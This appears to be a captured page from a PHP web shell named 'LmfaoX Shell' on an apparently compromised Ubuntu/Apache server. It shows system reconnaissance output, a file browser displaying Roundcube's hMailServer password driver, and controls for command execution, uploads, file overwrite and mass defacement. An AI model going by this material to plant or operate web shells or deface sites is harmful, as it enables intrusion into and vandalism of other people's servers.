ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.35 GB of 70.42 GB (36%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ plugins/ password/ drivers/ - drwxr-xr-x

Directory:
Viewing file:     hmail.php (1.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * hMailserver password driver
 *
 * @version 1.3 - 05.11.2010
 * @author Roland 'rosali' Liebl <myroundcube@mail4us.net>
 *
 */

function password_save($curpass$passwd)
{
    
$rcmail rcmail::get_instance();

    if (
$curpass == '' || $passwd == '')
      return 
PASSWORD_ERROR;

    try {
      
$remote $rcmail->config->get('hmailserver_remote_dcom'false);
      if (
$remote)
        
$obApp = new COM("hMailServer.Application"$rcmail->config->get('hmailserver_server'));
      else
        
$obApp = new COM("hMailServer.Application");
    }
    catch (
Exception $e) {
        
write_log('errors'"Plugin password (hmail driver): " trim(strip_tags($e->getMessage())));
        
write_log('errors'"Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");
        return 
PASSWORD_ERROR;
    }

    
$username $rcmail->user->data['username'];
    if (
strstr($username,'@')){
      
$temparr explode('@'$username);
      
$domain $temparr[1];
    }
    else {
      
$domain $rcmail->config->get('username_domain',false);
      if (!
$domain) {
        
write_log('errors','Plugin password (hmail driver): $rcmail_config[\'username_domain\'] is not defined.');
        
write_log('errors','Plugin password (hmail driver): Hint: Use hmail_login plugin (http://myroundcube.googlecode.com');
        return 
PASSWORD_ERROR;
      }
      
$username $username "@" $domain;
    }

    
$obApp->Authenticate($username$curpass);
    try {
      
$obDomain $obApp->Domains->ItemByName($domain);
      
$obAccount $obDomain->Accounts->ItemByAddress($username);
      
$obAccount->Password $passwd;
      
$obAccount->Save();
      return 
PASSWORD_SUCCESS;
    }
    catch (
Exception $e) {
      
write_log('errors'"Plugin password (hmail driver): " trim(strip_tags($e->getMessage())));
      
write_log('errors'"Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");
      return 
PASSWORD_ERROR;
    }
}

?>
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3549 seconds